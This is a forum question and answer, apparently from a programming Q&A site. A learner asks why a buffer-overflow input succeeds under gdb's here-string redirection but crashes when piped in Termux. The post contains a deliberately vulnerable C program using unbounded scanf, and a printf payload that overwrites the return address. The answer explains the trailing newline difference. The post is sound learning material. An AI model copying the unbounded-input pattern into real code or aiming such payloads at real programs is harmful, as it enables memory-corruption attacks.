I use termux
I'm learning about buffer overflow The attack string I built in gdb with
run <<< $(printf "")
succeeds But using
printf "" |
in shell fails
Here is the detailed process:
Target program source code:
#include <stdio.h>
void re_in(void)
{
char arr[10];
scanf("%s",arr);
// gets(arr);
printf("%s\n",arr);
}
void main()
{
re_in();
}
compile:
u0_a238@localhost ~/storage/external-1/hk # gcc -mprefer-vector-width=2 -g overflow.c -o ~/temp/overflow
overflow.c:11:1: warning: return type of 'main' is not 'int' [-Wmain-return-type]
11 | void main()
| ^
overflow.c:11:1: note: change return type to 'int'
11 | void main()
| ^~~~
| int
1 warning generated.
u0_a238@localhost ~/storage/external-1/hk #
Confirm the boundary:
✘ u0_a238@localhost /storage/sdcard1/Android/data/com.termux/files/hk # ~/temp/overflow
aaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
✘ u0_a238@localhost /storage/sdcard1/Android/data/com.termux/files/hk # ~/temp/overflow
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
[1] 29989 segmentation fault ~/temp/overflow
✘ u0_a238@localhost /storage/sdcard1/Android/data/com.termux/files/hk #
View the address of the re_in function for overrides:
u0_a238@localhost ~/storage/external-1/hk # gdb ~/temp/overflow
GNU gdb (GDB) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-android".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resour--Type <RET> for more, q to quit, c to continue without paging--
ces online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /data/data/com.termux/files/home/temp/overflow...
(gdb) disas main
Dump of assembler code for function main:
0x000000000000487c <+0>: stp x29, x30, [sp, #-16]!
0x0000000000004880 <+4>: mov x29, sp
0x0000000000004884 <+8>: bl 0x4840 <re_in>
0x0000000000004888 <+12>: ldp x29, x30, [sp], #16
0x000000000000488c <+16>: ret
End of assembler dump.
(gdb)
Launch an attack:
(gdb) run <<< $(printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55")
Starting program: /data/data/com.termux/files/home/temp/overflow <<< $(printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55")
warning: Unable to determine the number of hardware watchpoints available.
warning: Unable to determine the number of hardware breakpoints available.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/data/data/com.termux/files/usr/lib/libthread_db.so".
aaaaaaaaaaaaaaaaaa��UUU
aaaaaaaaaaaaaaaaaa��UUU
[Inferior 1 (process 31179) exited with code 030]
(gdb)
succeed
try in bash:
✘ u0_a238@localhost /storage/sdcard1/Android/data/com.termux/files/hk # printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55" | ~/temp/overflow
aaaaaaaaaaaaaaaaaa��UUU
[1] 1192 done printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55" |
1193 segmentation fault ~/temp/overflow
✘ u0_a238@localhost /storage/sdcard1/Android/data/com.termux/files/hk #
failed
Why?
The "<<<" of the gdb and the "| " of the shell Is there any difference? Or is there something else?
Gdb's here-string redirection (<<<
) is effectively borrowed from Bash. (The GDB manual does not mention that redirection operator specifically, but it does say "You can redirect your program’s input and/or output using shell redirection with the run
command.") The bash manual says of it:
The
word
undergoes tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, and quote removal. Filename expansion and word splitting are not performed. The result is supplied as a single string, with a newline appended, to the command on its standard input [...].
Even if the data you are providing are not subject to any of those expansions (or if gdb
didn't perform them), redirection with <<<
differs from piping the input in that the former appends a newline. However, command substitution ($()
) removes any trailing newline, so as long as the data don't already end with a newline, you can make the two behave the same for the same printf
argument by adding a newline to the printf
data: printf '...\n'
.
Alternatively, I don't really see why you are doing the redirection differently in the two cases. As long as your shell is Bash, at least, you should be able to use the here-string version both in and out of gdb.